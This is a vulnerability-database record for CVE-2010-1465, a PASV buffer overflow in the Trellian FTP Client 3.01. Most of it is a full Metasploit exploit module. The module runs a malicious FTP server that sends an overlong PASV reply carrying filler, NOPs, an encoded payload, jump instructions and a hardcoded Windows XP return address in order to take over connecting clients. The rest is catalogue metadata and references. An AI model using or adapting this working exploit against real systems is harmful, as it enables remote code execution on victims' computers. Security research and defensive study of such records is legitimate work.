ID
VAR-E-201006-0218
CVE
cve_id: | CVE-2010-1465 | Trust: 1.6 |
EDB ID
16710
TITLE
Trellian FTP Client 3.01 - PASV Remote Buffer Overflow (Metasploit) - Windows remote Exploit
Trust: 0.6
DESCRIPTION
Trellian FTP Client 3.01 - PASV Remote Buffer Overflow (Metasploit). CVE-2010-1465CVE-63812 . remote exploit for Windows platform
Trust: 0.6
AFFECTED PRODUCTS
vendor: | trellian | model: | ftp client | scope: | eq | version: | 3.01 | Trust: 1.0 |
EXPLOIT
##
# $Id: trellian_client_pasv.rb 9525 2010-06-15 07:18:08Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Trellian FTP Client 3.01 PASV Remote Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the Trellian 3.01 FTP client that is triggered
through an excessively long PASV message.
},
'Author' =>
[
'zombiefx', # Original exploit author
'dookie' # MSF module author
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9525 $',
'References' =>
[
[ 'CVE', '2010-1465'],
[ 'OSVDB', '63812'],
[ 'URL', 'http://www.exploit-db.com/exploits/12152' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 900,
'BadChars' => "\x00\x29\x2c\x2e",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Universal', { 'Ret' => "\xfd\x21\x40" } ], # 0x004021fd p/p/r in ftp.exe
],
'Privileged' => false,
'DisclosureDate' => 'Apr 11 2010',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
], self.class)
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
# Let the client log in
client.get_once
user = "331 Please specify the password.\r\n"
client.put(user)
client.get_once
pass = "230 Login successful.\r\n"
client.put(pass)
# Handle the clients PWD command
client.get_once
pwd = "257 \"/\" is current directory.\r\n"
client.put(pwd)
client.get_once
sploit = "227 Entering Passive Mode ("
sploit << rand_text_alpha_upper(2171)
sploit << make_nops(100)
sploit << payload.encoded
sploit << make_nops(900 - (payload.encoded.length))
sploit << "\xe9\x18\xfc\xff\xff" # Jump back 1000 bytes
sploit << "\xeb\xf9\x90\x90" # Jump back 7 bytes
sploit << [target.ret].pack("A3")
sploit << ")\r\n"
client.put(sploit)
end
end
Trust: 1.0
EXPLOIT LANGUAGE
rb
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
PASV Remote Buffer Overflow (Metasploit)
Trust: 1.0
TAGS
tag: | Metasploit Framework (MSF) | Trust: 1.0 |
CREDITS
Metasploit
Trust: 0.6
EXTERNAL IDS
db: | NVD | id: | CVE-2010-1465 | Trust: 1.6 |
db: | EXPLOIT-DB | id: | 16710 | Trust: 1.6 |
db: | EDBNET | id: | 39400 | Trust: 0.6 |
REFERENCES
url: | https://nvd.nist.gov/vuln/detail/cve-2010-1465 | Trust: 1.6 |
url: | https://www.exploit-db.com/exploits/16710/ | Trust: 0.6 |
SOURCES
db: | EXPLOIT-DB | id: | 16710 |
db: | EDBNET | id: | 39400 |
LAST UPDATE DATE
2022-07-27T09:22:32.844000+00:00
SOURCES RELEASE DATE
db: | EXPLOIT-DB | id: | 16710 | date: | 2010-06-15T00:00:00 |
db: | EDBNET | id: | 39400 | date: | 2010-06-15T00:00:00 |